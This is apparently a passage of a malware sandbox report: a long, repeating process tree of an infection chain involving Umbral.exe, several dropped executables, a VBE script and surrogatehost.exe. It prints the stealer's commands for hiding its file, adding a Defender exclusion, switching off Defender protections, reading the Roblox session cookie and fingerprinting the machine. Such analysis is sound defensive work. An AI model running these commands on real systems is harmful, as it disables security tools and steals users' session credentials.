        70⤵
        
        PID:2484
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        69⤵
        
        PID:4512
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        70⤵
        
        PID:3128
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        70⤵
        
        PID:404
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        68⤵
        
        PID:4780
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        69⤵
        
        PID:1920
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        69⤵
        
        PID:2756
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        70⤵
        
        PID:4520
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        71⤵
        
        PID:452
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        67⤵
        
        PID:1308
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        68⤵
        
        PID:3676
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        68⤵
        
        PID:1932
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        69⤵
        
        PID:3344
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        70⤵
        
        PID:2876
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        66⤵
        
        PID:4824
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        67⤵
        
        PID:1644
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        67⤵
        
        PID:3112
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        68⤵
        
        PID:3704
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        69⤵
        
        PID:4504
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        70⤵
        
        PID:4988
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        71⤵
        
        PID:216
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        65⤵
        
        PID:4272
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        66⤵
        
        PID:536
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        66⤵
        
        PID:4268
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        67⤵
        
        PID:3192
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        68⤵
        
        PID:780
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        69⤵
        
        PID:1616
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        70⤵
        
        PID:1304
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        64⤵
        
        PID:2996
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        65⤵
        
        PID:428
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        65⤵
        
        PID:2152
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        66⤵
        
        PID:3116
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        67⤵
        
        PID:1828
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        68⤵
        
        PID:3840
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        69⤵
        
        PID:3212
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        63⤵
        
        PID:1376
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        64⤵
        
        PID:3204
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        64⤵
        
        PID:4716
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        65⤵
        
        PID:4784
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        66⤵
        
        PID:1444
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        67⤵
        
        PID:1996
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        68⤵
        
        PID:2656
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        62⤵
        
        PID:3584
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        63⤵
        
        PID:1428
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        63⤵
        
        PID:3132
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        64⤵
        
        PID:4736
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        65⤵
        
        PID:4328
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        66⤵
        
        PID:3860
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        67⤵
        
        PID:844
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        61⤵
        
        PID:5068
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        62⤵
        
        PID:2460
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        63⤵
        
        PID:540
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        63⤵
        Views/modifies file attributes
        
        PID:1992
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        63⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4112
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        63⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        63⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5068
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        63⤵
        
        PID:4292
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        63⤵
        
        PID:4912
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        63⤵
        
        PID:5064
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        63⤵
        
        PID:516
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        63⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3180
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        63⤵
        Detects videocard installed
        
        PID:1728
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        62⤵
        
        PID:1512
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        63⤵
        
        PID:3860
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        64⤵
        
        PID:396
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        65⤵
        
        PID:3076
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        66⤵
        
        PID:2604
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        60⤵
        
        PID:4696
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        61⤵
        
        PID:4272
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        61⤵
        
        PID:4740
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        62⤵
        
        PID:1108
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        63⤵
        
        PID:3644
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        64⤵
        
        PID:1708
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        65⤵
        
        PID:4976
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        59⤵
        
        PID:2832
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        60⤵
        
        PID:3648
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        60⤵
        
        PID:4984
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        61⤵
        
        PID:944
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        62⤵
        
        PID:4848
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        63⤵
        
        PID:3308
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        64⤵
        
        PID:4512
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        58⤵
        
        PID:3620
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        59⤵
        
        PID:2848
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        59⤵
        
        PID:2404
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        60⤵
        
        PID:2032
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        61⤵
        
        PID:536
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        62⤵
        
        PID:4816
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        63⤵
        
        PID:4404
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        57⤵
        
        PID:428
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        58⤵
        
        PID:1692
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        58⤵
        
        PID:2068
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        59⤵
        
        PID:3076
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        60⤵
        
        PID:840
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        61⤵
        
        PID:852
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        62⤵
        
        PID:1136
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        56⤵
        
        PID:3932
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        57⤵
        
        PID:4952
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        57⤵
        
        PID:4548
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        58⤵
        
        PID:4116
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        59⤵
        
        PID:3488
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        60⤵
        
        PID:2292
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        61⤵
        
        PID:3164
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        55⤵
        
        PID:2612
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        56⤵
        
        PID:3492
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        56⤵
        
        PID:4984
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        57⤵
        
        PID:1108
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        58⤵
        
        PID:4092
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        59⤵
        
        PID:224
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        60⤵
        
        PID:3900
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        60⤵
        
        PID:1308
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        54⤵
        
        PID:4420
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        55⤵
        
        PID:3308
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        55⤵
        
        PID:4820
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        56⤵
        
        PID:4536
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        57⤵
        
        PID:1832
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        58⤵
        
        PID:4128
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        59⤵
        
        PID:1992
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        53⤵
        
        PID:4848
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        54⤵
        
        PID:1308
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        54⤵
        
        PID:1276
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        55⤵
        
        PID:3184
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        56⤵
        
        PID:4736
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        57⤵
        
        PID:3960
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        58⤵
        
        PID:2592
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        52⤵
        
        PID:4092
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        53⤵
        
        PID:1828
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        53⤵
        
        PID:224
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        54⤵
        
        PID:1588
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        55⤵
        
        PID:2380
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        56⤵
        
        PID:3456
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        57⤵
        
        PID:652
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        51⤵
        
        PID:3204
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        52⤵
        
        PID:924
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        52⤵
        
        PID:3668
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        53⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1988
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        54⤵
        System Location Discovery: System Language Discovery
        
        PID:1860
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        55⤵
        
        PID:4784
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        56⤵
        
        PID:512
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        50⤵
        
        PID:2388
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        51⤵
        
        PID:3644
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        51⤵
        
        PID:4128
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        52⤵
        Modifies registry class
        
        PID:1072
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        53⤵
        
        PID:1120
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        54⤵
        System Location Discovery: System Language Discovery
        
        PID:4840
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        55⤵
        
        PID:3368
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        49⤵
        
        PID:2700
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        50⤵
        
        PID:3900
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        50⤵
        Checks computer location settings
        
        PID:1480
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        51⤵
        Modifies registry class
        
        PID:3368
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        52⤵
        System Location Discovery: System Language Discovery
        
        PID:4240
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        53⤵
        System Location Discovery: System Language Discovery
        
        PID:2600
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        54⤵
        
        PID:2468
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        48⤵
        
        PID:396
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        49⤵
        
        PID:2880
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        49⤵
        
        PID:1860
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        50⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:884
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        51⤵
        
        PID:2692
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        52⤵
        System Location Discovery: System Language Discovery
        
        PID:1608
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        53⤵
        
        PID:4716
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        53⤵
        
        PID:3728
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        47⤵
        Checks computer location settings
        
        PID:4960
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        48⤵
        
        PID:1548
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        48⤵
        
        PID:1088
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        49⤵
        Modifies registry class
        
        PID:3960
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        50⤵
        System Location Discovery: System Language Discovery
        
        PID:1992
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        51⤵
        
        PID:1188
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        52⤵
        
        PID:4488
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        46⤵
        
        PID:3720
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        47⤵
        
        PID:5044
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        47⤵
        Checks computer location settings
        
        PID:1436
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        48⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1644
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        49⤵
        System Location Discovery: System Language Discovery
        
        PID:4368
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        50⤵
        
        PID:404
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        51⤵
        
        PID:3952
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        45⤵
        Checks computer location settings
        
        PID:4512
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        46⤵
        
        PID:1864
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        46⤵
        
        PID:652
        
